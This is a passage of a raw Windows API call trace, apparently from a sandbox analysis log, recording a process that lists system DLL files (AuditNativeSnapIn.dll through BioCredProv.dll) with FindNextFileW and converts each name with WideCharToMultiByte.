lpMultiByteStr=0xd3c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0xd3c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0xd3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0xd3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0xd3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0xd3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0xd3c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.997] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0193.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.998] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0xd3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.999] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0193.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 